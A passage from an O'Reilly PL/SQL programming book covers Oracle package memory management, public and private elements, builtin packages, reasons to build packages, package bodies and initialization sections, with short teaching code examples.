The situation with packages is the same as that with stored code, but is less obvious at first glance. Data declared at the package level (defined outside of any particular procedure or function in the package) persist for as long as a session is active -- but those data are specific to a single Oracle session or connection. Each Oracle session is assigned its own private PL/SQL area, which contains a copy of the package data. This private PL/SQL area is maintained by the PL/SQL runtime engine for as long as your session is running. When session 1 references package A, session 1 instantiates her own version of the data structures used by A. When session 2 calls a program in A or accesses a data structure defined by A, session 2 gets her own copy of that data. Any changes made to the memory-based package data in session 1 is not affected by and does not affect the data in session 2.

NOTE: If you are running a multithreaded Oracle Server, then Figure 1.2 changes slightly. With the multithreaded architecture, the program global areas for each user are also stored within the SGA of the Oracle instance.

1.4.3.1 Managing packages in shared memory

When a package is loaded into shared memory, a contiguous amount of memory is required to hold the package (the same is true for any piece of stored code). So if you have a large package, you may have to tune your shared pool in the SGA to accommodate this package. (The shared pool is the area in the SGA devoted to shared SQL and PL/SQL statements.) You can get more space for your stored code by increasing the value of the SHARED_POOL_SIZE parameter in the database instance initialization file.[2]

[2] If the Oracle Server is having trouble fitting your stored code into memory, you will get ORA-04031 errors: out of shared memory.

The Oracle Server uses a least-recently used (LRU) algorithm to decide which items in the shared pool will remain present. If your package is flushed out of memory and is then needed by another program, the compiled code of the package will have to be read again from disk. Contiguous memory will also need to be available at that point.

If you know that you will want to use a large package or standalone program intermittently throughout application execution and do not want to have the code flushed out of memory, you can use the DBMS_SHARED_POOL package to pin your code into memory. The KEEP procedure of this package exempts the specified program or package from the LRU algorithm.

To pin the config package into shared memory, for example, you would execute this statement:

DBMS_SHARED_POOL.KEEP ('config');

You can also unpin a program with the UNKEEP program. The DBMS_SHARED_POOL package is not installed by default when you create an Oracle Server instance. You will need to execute (usually from within the SYS account) the dbmspool.sql script in the admin subdirectory of your particular version of the server. For example, on Windows95 and Oracle 7.2, you would issue this command in SQL*Plus:

SQL> @c:\orawin95\rdbms72\admin\dbmspool

You should only pin programs if absolutely necessary and unavoidable (you cannot, for instance, further expand the overall size of the SGA and the shared pool). Why? In answer, I quote from the above-mentioned dbmspool.sql file about KEEP:

--WARNING:  This procedure may not be supported in the future when
--and if automatic mechanisms are implemented to make this unnecessary.

You can calculate the size of a package or any other piece of stored code by executing queries against the USER_OBJECT_SIZE data dictionary view. This view contains information about the size of the source code, the size of the parsed code, and the size of the compiled code. The SQL statement below will display the names and sizes for any stored code larger than the specified SQL*Plus parameter:

SELECT name, type, source_size, parsed_size, code_size
  FROM user_object_size
 WHERE code_size > &1
 ORDER BY code_size DESC
/

1.4.4 Access to Package Elements

One of the most valuable aspects of a package is its ability to truly enforce information hiding. With a package you can not only modularize your secrets behind a procedural interface, you can keep those parts of your application completely private.

An element of a package, whether it is a variable or a module, can be either public or private:

Public

An element is public if it is defined in the specification. A public element can be referenced directly from other programs and PL/SQL blocks. The package specification is, in a sense, the gatekeeper for the package. It determines the package elements to which a developer may have access.

Private

An element is private if it is defined only in the body of the package, but does not appear in the specification. A private element cannot be referenced outside of the package. Any other element of the package may, however, reference and use a private element.

The distinction between public and private elements gives PL/SQL developers unprecedented control over their data structures and programs. Figure 1.3 shows a Booch[3] diagram for the package that displays private and public package elements, and very neatly portrays the way these two kinds of elements interact.

[3] This diagram is named after Grady Booch, who pioneered many of the ideas of the package, particularly in the context of object-oriented design.

Figure 1.3: A Booch diagram for a package

In Figure 1.3, all of the boxes that lie completely inside the box are private elements, defined only within the body of the package. Boxes that lie on the boundary of the box are public elements, defined in the package specification and implemented (if programs) in the package body. An external program can make direct references only to those package elements that lie on the boundary. But any package element, whether wholly inside the boundary or straddling that line, can reference any other package element.

A boundary in the package delineates that which is publicly available and that which is private or hidden from view. It has particularly important and valuable consequences for data structures defined in a package.

1.4.4.1 Public and private data

Whether a variable is declared in the specification or body, it does function as a global piece of data. Once the package is instantiated in your session, data declared in the package persist for the duration of the session. A variable will retain its value until it is changed. That value will be available to any program that has access to the data. The kind of access depends on whether the variable is defined in the package specification or in the body.

To understand the consequences of public (specification-declared) data and private (body-declared) data in packages, consider the following simple package. In downsize, hire_date is a public variable and fire_date is a private variable.

PACKAGE downsize
IS
   v_hire_date DATE;
END;

PACKAGE BODY downsize
IS
   v_fire_date DATE;
END;

Since v_hire_date is defined in the package specification, I can directly reference that variable in my own code outside of the downsize package, as follows:

  1. Read the value of the hire_date variable:

    last_hired := downsize.v_hire_date;

  2. Change the value of the hire_date variable to ten days in the future:

    downsize.v_hire_date := SYSDATE + 10;

If I try to access v_fire_date in the same way, however, my code will not compile. It is hidden behind the public boundary of the package. Its value is maintained in my private global area since it is in a package, but the only programs that can reference it are those defined within the package itself, either in the body or the specification.

The next chapter covers the implications of public global data and contains recommendations on how to safeguard your application and data.

1.4.4.2 Switching between public and private

When you first create a package, your decision about which elements of a package are public and which private is not cast in stone. You can, in fact, switch a public element to private and vice versa at any time.

If you find that a private element program or cursor should instead be made public, simply add the header of that element to the package specification and recompile. It will then be visible outside of the package. Notice that you do not need to make any changes at all to the package body.

If you want to make a private variable accessible directly from outside the package, you will need to remove the declaration of that data structure from the body and paste it into the specification. You cannot declare the same element in both the body and the specification.

If you do make a public element private, you will need to remember that any program that referenced that element will no longer compile successfully.

Previous: 1.3 What Are the Benefits of Packages? | Advanced Oracle PL/SQL Programming with Packages | Next: 1.5 Types of Packages
1.3 What Are the Benefits of Packages? | Book Index | 1.5 Types of Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.5 Types of Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

1.5 Types of Packages

The different types of packages are determined by who wrote them and by where they lay in the layers of PL/SQL code. As we mentioned earlier, the lowest-level and therefore most broadly available packages are the builtin packages, provided by Oracle Corporation. The next level of packages are the prebuilt packages, written by a third party and made available to you for inclusion in your applications. Finally, there are packages you build yourself.

1.5.1 Builtin Packages

Table 1.1 shows a partial list of builtin packages provided by Oracle Corporation. Unless otherwise noted, these packages are available in PL/SQL Release 2.1 and beyond. Most of these packages are installed by default when you create a database instance. In some cases, you may have to grant execute privileges on specific packages (such as DBMS_LOCK and DBMS_SQL) in order to make them available to your user community.

Table 1.1: Some of the Builtin Packages Stored in the Oracle Database
Package Name | Description
DBMS_ALERT | Provides support for notification of database events on an asynchronous basis. Registers a process with an alert and then waits for a signal from that alert.
DBMS_DDL | Provides a programmatic access to some of the SQL DDL statements.
DBMS_JOB | Used to submit and manage regularly scheduled jobs for execution inside the database.
DBMS_LOCK | Allows users to create their own locks using the Oracle Lock Management (OLM) services in the database.
DBMS_MAIL | Offers an interface to Oracle Office (previously known as Oracle Mail).
DBMS_OUTPUT | Displays output from PL/SQL programs to the terminal. The "lowest common denominator" debugger mechanism for PL/SQL code.
DBMS_PIPE | Allows communication between different Oracle sessions through a pipe in the RDBMs shared memory. One of the few ways to share memory-resident data between Oracle sessions.
DBMS_SESSION | Provides a programmatic interface to several SQL ALTER SESSION commands and other session-level commands.
DBMS_SNAPSHOT | A programmatic interface through which you can manage snapshots and purge snapshot logs. You might use modules in this package to build scripts to automate maintenance of snapshots.
DBMS_SQL | Full support for dynamic SQL within PL/SQL. Dynamic SQL means SQL statements that are not prewritten into your programs. They are, instead, constructed at runtime as character strings and then passed to the SQL Engine for execution. (PL/SQL Release 2.1 only)
DBMS_TRANSACTION | A programmatic interface to a number of the SQL transaction statements, such as the SET TRANSACTION command.
DBMS_UTILITY | The "miscellaneous" package. Contains various useful utilities, such as GET_TIME, which calculates elapsed time to the hundredth of a second, and FORMAT_CALL_STACK, which returns the current execution stack in the PL/SQL runtime engine.
UTL_FILE | Allows PL/SQL programs to read from and write to operating system files. (PL/SQL Release 2.3 only)

All of the packages in Table 1.1 are stored in the database and can be executed by both client and server-based PL/SQL programs. In addition to these packages, many of the development tools, like Oracle Forms, offer their own specific package extensions as well, such as packages to manage OLE2 objects and DDE communication.

It is no longer sufficient for a developer to become familiar simply with the basic PL/SQL functions like TO_CHAR and ROUND. Those functions have now become simply the inner layer of useful functionality. Oracle Corporation has built upon them, and you should do the same. (To take full advantage of the Oracle technology as it blasts its way to the 21st century, you must be aware of these packages and how they can help you.)

Builtin packages can and should revolutionize the code you write. With the last few releases of the Oracle Corporation's CDE tools, Oracle Server, and PL/SQL itself, the software vendor has shifted course. As Oracle developed the code it needed to implement new features, it no longer hid that code from the rest of the world. Instead, Oracle has exposed that code -- invariably structured as one or more packages -- so that all developers can also take advantage of those same techniques it employs. The next section gives you an example of this process.

1.5.1.1 Leveraging builtin packages

Oracle Corporation called the Oracle7 Server Version 7.1 the "Parallel Everything" server. It offered parallel query, parallel index updates, and many other features that take advantage of the symmetric multiprocessors readily available today. The parallelization of the RDBMs is an important advance in raw performance, but Oracle Corporation didn't stop there. It also "made public" (i.e., available to outside developers) a package of procedures and functions -- DBMS_PIPE -- used by its developers to support these parallel operations.

The DBMS_PIPE package provides a means to communicate between different Oracle processes directly through the SGA, outside of any particular data transaction. When the RDBMs receives a query request, it can determine whether any of the individual components of the query can be processed independently. If so, the RDBMs issues a call to DBMS_PIPE.SEND_MESSAGE to send the various query components to waiting processes in order to execute those chunks of SQL -- simultaneously.

Now here's the really exciting part: the advantages of DBMS_PIPE are not confined to the Oracle RDBMs. You also can use DBMS_PIPE in all sorts of new and creative ways. You can parallelize your own programs. You can communicate between a client program in Oracle Forms and a server-based process, without having to commit any data. You can build a debugger for your server-side PL/SQL programs.

The DBMS_PIPE package is just one of many such mind- and functionality-expanding new resources. Do you need to issue your own locks? Do you need to detect whether another process in your current session has committed data? Use the DBMS_LOCK package. Do you want to issue messages from within your PL/SQL programs to help trace and debug your program? Check out the DBMS_OUTPUT package. Would you like to schedule jobs within the RDBMs itself? Explore the DBMS_JOB package. The list goes on and on, and is constantly growing. With the Oracle-supplied packages, you have at your disposal many of the same tools used by the internal Oracle product developers. With these tools, you can do things never before possible!

Chapter 15 of Oracle PL/SQL Programming provides details on many of the stored packages of the Oracle Server.

NOTE: Each time you install a new version of the Oracle Server, you should peruse the dbms*.sql and utl*.sql files (usually found in an operating system-specific variant of the rdbmsN/admin directory, where N is the release number, as in: rdbms73/admin). See what is new in terms of both entirely new builtin packages and also changes to existing builtin packages. Don't rely solely on reading the New Features section in the Oracle Server documentation.

1.5.2 Prebuilt Packages

Prebuilt packages are the newest type of package in the PL/SQL development arena, and in many ways offer the most promise to PL/SQL developers. "Prebuilt" (my own terminology) refers to a package that is designed, built, and tested by a third party and then made available to you, either as free shareware or as a licensed product.

Prebuilt packages will most likely come in two forms: miscellaneous utilities and libraries. A utility package might be a single package that supplies functionality in a specific area, such as a package that makes it easier to work with the job queue of the Oracle Server (interfacing with DBMS_JOB, in other words). A package library is, on the other hand, a coherent set of packages that work together and offer an entire layer of reusable code.

PL/Vision is an example of a package library and is, to my knowledge, one of the first -- if not the first -- such library to be made available to PL/SQL developers. I hope the time will come when third-party PL/SQL developers regularly publish prebuilt packages, whether standalone utilities or libraries, to help the entire PL/SQL community. In the meantime, PL/Vision and this book will offer PL/SQL developers an extensive set of prebuilt utilities and functionality to enhance their development environments.

1.5.3 Build-Your-Own Packages

The third type of package is the build-your-own (BYO) package. This is a package whose specification and body you write yourself. You decide what programs and data are publicly available and how those programs should be called.

The BYO package is, of course, the most common kind of package. You will, I hope, create many, many packages during your PL/SQL development career. Some of those packages might even evolve into prebuilt packages used by other developers. Some will remain at the core of your very business-specific applications.

However your package is used, it is critical that you learn how to build packages that can be easily debugged, maintained, and enhanced. The rest of this chapter explores aspects of package syntax and features. The next chapter, Chapter 2, Best Practices for Packages, provides advice about how best to design and build your packages.

Previous: 1.4 Using Packages | Advanced Oracle PL/SQL Programming with Packages | Next: 1.6 Building Packages
1.4 Using Packages | Book Index | 1.6 Building Packages
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 1] 1.6 Building Packages

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

1.6 Building Packages

You will want to take maximum possible advantage of builtin and prebuilt packages. Soon, however, you will be building your own packages. This section explores syntax and issues related to package construction.

Remember that a package consists of up to two distinct parts: the specification and the body. The specification and body are completely distinct objects. You can write and compile the specification independently of the body. When you create and replace stored packages in the database, you perform this action separately for each specification and each body. The package specification describes the different elements of the package that can be called or referenced. The package body contains the implementation or executable code for the elements of the specification.

This chapter has already introduced to you the package specification. Before turning our attention to the package body, let's examine the circumstances under which you should consider building your own package.

1.6.1 When Should You Build a Package?

When should you build a package, instead of just creating a set of standalone procedures and functions? Anyone who has attended any of my classes or presentations could probably guess my answer (or is it my dogma): Always! You should always build a package! A package is the answer to all of your problems in PL/SQL!

I do realize that my readers deserve a more reasoned and nuanced answer. So I'll review the reasons for building a package. I believe you will want to create a package whenever you find yourself in the following kinds of situations.

1.6.1.1 Clean up a bewildering mass of standalone functions and procedures

Do you have dozens, perhaps hundreds, of standalone functions and procedures stored in the database? Do you wonder if there is overlap between these programs? Do you have a sense that you have lost control of your development/stored code environment? The package construct can help bring everything into focus and get you and your code organized.

The package is the closest thing in PL/SQL (prior to PL/SQL Release 3) to an object. A package bundles together different -- usually related -- PL/SQL elements. Rather than have separate, standalone programs to maintain the contents of a particular table, to return information from that table and so on, you can place all of those programs within the context of the package. This simple transfer of code within the boundaries of a package makes it easier for you to manage all of your code. It will also be much, much easier for others to understand and maintain the code you have written.

So if you are new to packages and really do not believe that you have a grip on what is actually out there in the database, it would be a good time to analyze your stored code and reorganize it into a set of packages.

1.6.1.2 Maintain control over your data structures

The data structures defined inside the body of packages are shared by (or accessible to) all elements of the package, but cannot be referenced outside of the package. This means that you can control tightly any access to your data. I recommend, in fact, that you never define variables and data structures in the specification of the package.

This advice applies not only to in-memory data defined inside the package, but also to table-based data in the Oracle Server. You can set up your environment so that users cannot access database tables directly for read or write purposes. You then create a package that maintains the data in the table. The owner of the package is given access to the underlying table. Finally, you grant execute authority on the package to the end users. Now all access to the table goes through the package. As a result, you can now use the PL/SQL language to apply business rules to all user-initiated transactions. This approach is particularly important when you use a third-party frontend tool like Gupta Corporation's SQL*Windows to access the Oracle database. You want to do everything you can to avoid hard-coding your data structures (in the form of SELECTs, INSERTs, and so on) into client-side code, whether in Oracle Developer/2000 or in SQL*Windows.

1.6.1.3 Need global data structures for your PL/SQL programs

When you declare a variable in the specification of a package, that variable becomes, for all intents and purposes, a global variable within a given user session. It can be accessed by any PL/SQL program, regardless of where the variable was first referenced and assigned a value, as long as that program is run under the same session. (Note that you can make use of the DBMS_PIPE package to make data available across different Oracle sessions.)

If you declare a data structure inside the body of the package, that structure is still "global" -- but only within the package. It also persists for the duration of your session; in other words, the variable (whether scalar or composite) maintains its value until it is changed or until you disconnect.

If you need to define and then access persistent, global data in your session, the PL/SQL package is the only way to accomplish this particular trick. Common scenarios requiring global data include:

  • Configuration information for a session or even for an application. What is my printer name? What is the latest date allowed for entry of new orders?

  • Memory-based lists of information. Rather than having to constantly go back to the database to obtain and display a list of options, you can load these values into a PL/SQL table and then display those values. You will use more memory, but improve the performance of your application.

  • Running totals and other accumulated or derived values. Your application might perform lots of what-if analysis on current information in the database and new information entered by users. Package-based data structures can be used to keep track of derived, analytical values until they are ready to be saved to the database or discarded when the session ends.

1.6.1.4 Remove hard-coded literals from your application

We all know that you should never, or hardly ever, put hard-coded literal values in your application code.

One of the most common causes for program failure is, I believe, the undying belief by programmers that a particular value will never change and so can be hard-coded into a system. Why do we developers make this mistake again and again? I believe that it is a subconscious reaction to the fundamental uncertainty in our lives. Our end users change their minds about their specifications, requirements, and user interface preferences on a daily -- if not hourly -- basis. We can find no comfort, no security, from our users.

And what about our own IS management? CIOs and their architectures teams seem to always be discovering the next "silver bullet" methodology or application development tool -- and pulling the proverbial carpet out from under us.

So when you read in your application specifications that C will represent a "closed account," you are swept up by an irresistible urge to bet the house on that particular value not changing. But of course it will -- and your code will suffer for it.

You are much better off establishing a package of constants that holds all the application-wide and/or system-wide constants that you will be using. Then when you feel the need to hard-code a literal into your program, instead switch over to your constants package (I talk more about this in the "simultaneous package construction" best practice, described in the next chapter). Deposit the literal value there and give it a name with a CONSTANT declaration. From then on, reference the value by package constant name. If the value ever must be changed, you change it in the constants package specification, recompile all dependent programs, and you are done!

As an alternative, you can also define constants in the packages to which they relate. I have found that I will usually create a single, application-level package of constants if I am reviewing and cleaning up an existing application.

1.6.1.5 Isolate volatile areas of functionality

If you know that an aspect of your application -- or even the technology on which your application is based -- is volatile and bound to change, build a package around that functionality to protect your application from that volatility.

One of the most volatile areas of an application is its underlying data structures. Many developers tend to think of the database -- all those tables, primary keys, constraints and so forth -- as the bedrock of the application. Now, it is true that these data structures are the foundation upon which most code is built. But it is most definitely not true that this foundation is unchanging. The entity-relationship diagram (ERD) maps the real world to the relational world.

The real world -- at least as perceived by our users -- is a moving target. New or changed tables, modified columns, evolving relationships: these are an everyday element of our work. They are also one of the most complicated aspects of our development. It is not unusual, for instance, to require triple and quadruple joins of tables to retrieve the most basic information about an entity.

So, yes, you have to build your applications on top of these data structures, but you do not have to do so in a blind and short-sighted manner. There are two approaches you can take to deal with the complexity and volatility:

Option 1. Train all of your developers about all the subtleties of your organization's data. You will, of course, need to keep training them as your data structures change over time.

Option 2. Hide as many of these subtleties as you can, allowing your developers to work at a higher level of abstraction.

The optimal choice should be clear. While it is an admirable goal to educate everyone about every aspect of the work, it is simply not practical. You can use a package to encapsulate the triple joins and present a unified front to a developer. They can skip the complex SQL and apply the prebuilt package code to their needs much more quickly. Assume, in other words, that your structures will change. Protect your code (and your sanity) accordingly. Here are some recommendations to follow that employ the package to improve the robustness of your application:

  1. Avoid implicit queries. When you write an implicit query, you place a SELECT statement directly in your program. You fetch data from the database directly into local PL/SQL variables. When you take this approach, you essentially hard-code your data structures into your programs. What happens when that two-table join turns into a six-table join? You have to find all those implicit queries and fix them.

  2. Set as a general rule that developers do not write DML statements directly in their own applications. Again, if everyone is writing whatever SQL they find appropriate to their individual circumstances, you will end up with an application in which your entity relationships are distributed throughout your code. How do you maintain and upgrade such code to match your changing database? Instead...

  3. Consolidate all of your SQL statements into one or more packages. Provide programmatic access to the SQL, or offer explicit cursors defined in the package. With this approach, you anticipate developer needs concerning the SQL layer. Will developers need to update the emp table with a new salary? Provide a procedure that does this. Do you need to query employees by decreasing salaries? Create an explicit cursor with this structure and let developers open and fetch from the cursor.

If you succeed in predefining and consolidating your SQL statements behind the package interface, you will have gone a long way towards making your application change-proof. This approach takes up-front planning and lots of discipline. You might even want to build scripts to query the contents of the USER_SOURCE data dictionary view to verify that DML statements do not appear outside of your SQL packages. In the long run, however, you will achieve higher productivity and higher code quality. Individual developers are liberated from writing complex, bug-prone SQL and instead concentrate on the user interface -- or whatever is the task at hand.

1.6.1.6 Hide weaknesses to facilitate upgrades and fixes.

Every release of every piece of software comes with bugs, undocumented "features," and functionality that lacks, shall we say, a certain polish. You can whine about this situation, but sooner or later you have to deal with it. This usually means that you have to use elements of the language that are substandard. You will figure out the workaround or whatever compensation is necessary to keep the development process moving forward. At this point, you have two choices of how to apply this workaround:

  1. Whenever you encounter the problem area, you code the workaround directly in the program.

  2. You build a package that contains the workaround. The package specification provides the solution without revealing the nature of the workaround. It is hidden inside the body of the package.

In the first approach, which is almost always the route chosen, you hard-code the (usually temporary) drawback of the language directly in multiple places in your programs. When the upgrade to PL/SQL (or whatever language you are using) arrives at your installation, you have to hunt down every place you put the workaround and replace it with the new, fixed functionality.

With the second (package-based) approach, the code for the workaround is in one place only. When the patch tape or upgrade arrives, you make the change only inside the body of the package. All the code that called the package element to apply the workaround will now call that same package element, but this time use the new, fixed version.

If you build yourself a layer of code with a package that hides the implementation of workarounds, you can then easily and rapidly apply upgrades that completely obviate the need for the workaround.

1.6.1.7 An example

To illustrate this technique, consider the task of clearing or emptying PL/SQL tables. Prior to Release 2.3 of PL/SQL, the only way to delete all rows from a PL/SQL table was to assign an empty table to the populated table. There is, in other words, no DELETE function or operator for PL/SQL tables. The PLVtab package of PL/Vision makes it as easy as possible for you to use PL/SQL tables by predefined table types in the package. To similarly ease the task of emptying tables, PLVtab provides an empty table for each table TYPE defined in the package. The PLVprsps.init_table procedure below shows how these elements are put to use in PL/Vision to delete all rows from a PL/SQL table:

PROCEDURE init_table
   (tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER)
IS
BEGIN
   tokens_out := PLVtab.empty_vc2000;
   num_tokens_out := 0;
END;

The problem with this approach is that it exposes the implementation of my workaround and makes it very difficult to upgrade this code to PL/SQL Release 2.3.

You see, PL/SQL Release 2.3 provides a DELETE method for PL/SQL tables. Rather than assigning an empty table to delete all rows from tokens_out, I could simply issue this statement:

tokens_out.DELETE;

I can certainly make this substitution in the init_table program, but in how many other places are these empty tables utilized? Taking a different approach within PLVtab would have left me in a much stronger position. Suppose that instead of providing a set of predefined empty tables, I built a series of procedures to empty the tables. The procedure to empty the VARCHAR2(2000) tables would look like this:

PROCEDURE empty (table_inout IN OUT PLVtab.vc2000_table) IS
BEGIN
   tokens_inout := PLVtab.empty_vc2000;
END;

and the init_table procedure would change to this:

PROCEDURE init_table
   (tokens_out IN OUT PLVtab.vc2000_table,
    num_tokens_out IN OUT INTEGER)
IS
BEGIN
   PLVtab.empty (tokens_out);
   num_tokens_out := 0;
END;

Notice that there is no mention of the empty table outside of PLVtab. So when Release 2.3 comes along, I can change the empty procedure of PLVtab as follows:

PROCEDURE empty (table_inout IN OUT PLVtab.vc2000_table) IS
BEGIN
   tokens_inout.DELETE;
END;

Like magic, without making any change to the PLVprsps.init_table procedure, it is now using the new capabilities of the PL/SQL language. This is just one very simple example of how you can and should use packages to make feasible the upgrade to new features and fixes to bugs.

There are many situations in PL/SQL development that cry out for a package. I hope the previous sections will help raise a flag as you proceed through your application development projects. Do you find yourself dealing repeatedly with some weakness in PL/SQL or another element of the Oracle product set? Are you writing the same complex SQL statement again and again in your code? Stop! Take the time required to bundle the logic, the flaws, the relationships into a package. The payoff will come instantaneously and continuously; the investment will never be regretted.

Once you have decided to build your package and constructed the interface (specification) for that package, you will then embark on constructing the guts of the package: its body.

1.6.2 The Package Body

The body of the package contains all the code behind the package specification: the implementation of the modules, cursors, and other elements. Whereas package specifications tend to be short and to the point ("here are the programs you can run and the data you can access"), package bodies can easily grow to intimidating length and complexity. Several coding recommendations presented in the next chapter address organizing your package bodies.

The packages of PL/Vision offer many examples of package bodies. Let's take a look now at a relatively simple package body. The package body shown below illustrates the code required to implement the specification of the sp_timer package shown earlier.

PACKAGE BODY sp_timer
IS
   last_timing NUMBER := NULL;

   PROCEDURE capture IS
   BEGIN
      last_timing := DBMS_UTILITY.GET_TIME;
   END;

   PROCEDURE show_elapsed IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE
        (DBMS_UTILITY.GET_TIME - last_timing);
   END;
END sp_timer;

Notice that the body contains a declaration of a local variable, last_timing. This variable does not appear in the specification; instead, it is referenced within capture (which sets the value of last_timing) and in show_elapsed (which references the variable). Consequently, the only programs that can directly reference the last_timing variable are capture and show_elapsed, as shown in Figure 1.4.

Figure 1.4: A Booch diagram for the sp_timer package

The body of the package resembles a standalone module's declaration section. It contains both the declarations of variables and the definitions of all package modules. The package body may also contain an execution section, which is called the initialization section because it is run only once, to initialize the package. (This aspect of packages is discussed in the next section.)

1.6.2.1 Package body syntax

The general syntax for the package body is shown below:

PACKAGE BODY package_name
IS
   [ declarations of variables and types ]
   [ header and SELECT statement of cursors ]
   [ header and body of modules ]
[ BEGIN
     executable statements ]
[ EXCEPTION
      exception handlers ]
END [ package_name ];

In the body you can declare other variables, but you do not repeat the declarations in the specification. The body contains the full implementation of cursors and modules. In the case of a cursor, the package body contains both the header and the SQL statement for the cursor. In the case of a module, the package body contains both the header and body of the module.

The BEGIN keyword indicates the presence of an execution or initialization section for the package. This section can also optionally include an exception section.

As with a procedure, function, and package specification, you can add the name of the package, as a label, after the END keyword in both the specification and package.

1.6.3 The Initialization Section

The first time your application makes a reference to a package element, the entire package (in precompiled form) is loaded into the System Global Area of the database instance, making all objects immediately available in memory. All package data structures are defined and default values are assigned. You can supplement this automatic instantiation of the package code with the execution of startup code for the package. This initialization code is contained in the optional initialization section of the package body.

The initialization section consists of all statements following the BEGIN statement through the END statement for the entire package body. It is called the initialization section because the statements in this part of the package are executed only once, the first time an object in the package is referenced (to name a few possibilities, when a program is called, a cursor is opened, or a variable is used in an assignment). The initialization section initializes the package; it is commonly used to set values for variables declared and referenced in the package.

The initialization section is a powerful mechanism: PL/SQL detects automatically when this code should be run. You do not have to explicitly execute the statements, and you can be sure they are run only once. There is, however, a downside to use of the initialization section. It can be difficult to trace actions triggered automatically by the package ("Now where does that variable get set?" "How did that record get inserted into that table? I don't see it in any of my code!"). It can also be difficult for less experienced developers to locate and be aware of the initialization code.

You should only use the initialization section when you cannot rely on the normal initialization mechanisms (such as setting a default value when a variable is declared), as explored below.

1.6.3.1 When to use the initialization section

Use the initialization section only when you need to set the initial values of package elements using rules and complex logic that cannot be handled in the default value syntax for variables. You do not, for example, need an initialization section to set the value of the constant earliest_date to today's date. Instead, simply declare the variable with a default value.

The following package body contains unnecessary initialization code:

PACKAGE config
IS
   earliest_date DATE;
BEGIN
   earliest_date := SYSDATE;
END config;

This code should be replaced with a much simpler and more direct default assignment as follows:

PACKAGE config
IS
   earliest_date DATE := SYSDATE;
END config;

Suppose, on the other hand, that you wanted to use PLVlst to maintain a list of companies that the user has selected for financial analysis. The analysis is performed by a package you built called compcalc (COMPany CALCulation). You want to make sure that the list is defined and available whenever any program in compcalc is used, but you don't want the list refreshed or created anytime after the start of a user session. This is the perfect opportunity for an initialization section. The following package shows you how to achieve this effect:

PACKAGE BODY compcalc
IS
   c_list CHAR(8) := 'compcalc';

   PROCEDURE total_sales
   IS
   BEGIN
      FOR list_ind IN 1 .. PLVlst.nitems (c_list)
      LOOP
         calc_sales (PLVlst.getitem (c_list, list_ind));
      END LOOP;
   END;

BEGIN
   PLVlst.make (c_list);
END;

The package body declares a constant containing the name of the list. This constant is then referenced throughout the package to avoid hard-coding of literals. The total_sales procedure calculates the sales for each item in the list. The initialization section at the bottom of the package consists of a single line of code that makes the list for use in the package. The PLVlst.make procedure is called only once in a user's session; the list is then available for the duration of the session.

You will also want to use an initialization section when you need to handle exceptions that might arise when initializing values.

1.6.3.2 The exception section

As noted earlier, the initialization section of a package can also have its own exception section. The ability to handle exceptions is one of the most important characteristics of this section of the package.

Remember that the exception handlers in this section will only trap exceptions that occur in the initialization section itself. If an exception is raised in one of the programs defined in the package or if an exception is raised in the process of instantiating data in the package, the initialization section exception handlers will not be able to trap those exceptions.

To understand this flow, consider the following package specification and body:

PACKAGE going
IS
   PROCEDURE bad;
END going;

PACKAGE BODY going
IS
   fast VARCHAR2(3) := 'fast';

   PROCEDURE bad IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE (fast);
   END;
BEGIN
   NULL;
EXCEPTION
   WHEN VALUE_ERROR
   THEN
      DBMS_OUTPUT.PUT_LINE ('too late');
END going;

This package contains a single public procedure, going.bad, and a single private variable, fast. When any program tries to execute going.bad, the PL/SQL runtime engine loads the package into shared memory and instantiates all package data. When it tries to assign the value of fast to the variable going.bad, however, the runtime engine will raise the VALUE_ERROR exception. The literal value has four characters, but the fast variable is restricted to three characters.

It would appear at first glance that the exception handler for VALUE_ERROR at the bottom of the package body would trap this exception and display "too late". Instead, the exception will go unhandled.

Let's now see how to use the initialization section to your advantage when initializing values in a package. Consider the simple package body below:

PACKAGE BODY analysis
IS
   best_salesperson INTEGER := sales_list (1);
END analysis;

This package sets the default value for the best salesperson ID to the value in row 1 of the sales_list PL/SQL table. If for any reason this row has not yet been defined, the PL/SQL runtime engine will raise a NO_DATA_FOUND exception simply for trying to reference the analysis.best_salesperson variable.

If you move the assignment to an initialization section, on the other hand, you can handle gracefully the scenario in which row 1 in the table has not been set:

PACKAGE BODY analysis
IS
   best_salesperson INTEGER;
BEGIN
   best_salesperson := sales_list (1);
EXCEPTION
   WHEN NO_DATA_FOUND
   THEN
      best_salesperson := NULL;
END analysis;

1.6.4 Working with Large Packages

There is a limit to the size of any PL/SQL program, whether it is a procedure or a package. The restriction on code size is determined by the limitation of the size of the PL/SQL parse tree, which is built for compilation purposes. In PL/SQL Release 2.2 and earlier, the number of nodes in the parse tree is limited to 16K. In Release 7.3, the upper limit is raised to 32K. A node in the parse tree typically consists of a keyword, application identifier, or operator.

Whatever the current limit, someone will always come up against it. And even if you don't actually threaten to exceed the theoretical limit, you might easily come up against a practical limit to the size of the package you can deal with. For example, do you really want to endure a 10-minute compile every time you have to make a small change to your monster package?

When PL/SQL developers ask me what they should do about their packages that are 10,000 lines long and causing all sorts of problems, I tell them: shorten your package or turn it into multiple packages. There, that was easy! And sometimes it really is that easy. Most programs, and certainly most packages, contain redundancies that needlessly increase code volume. A very careful review will almost always uncover ways to reduce the size of a program through fanatical modularization. In addition, few developers properly break apart their packages into distinct areas of functionality. Most large packages I have analyzed should have been broken up into multiple packages, regardless of the original size so that functionality would be more accessible and reuseable.

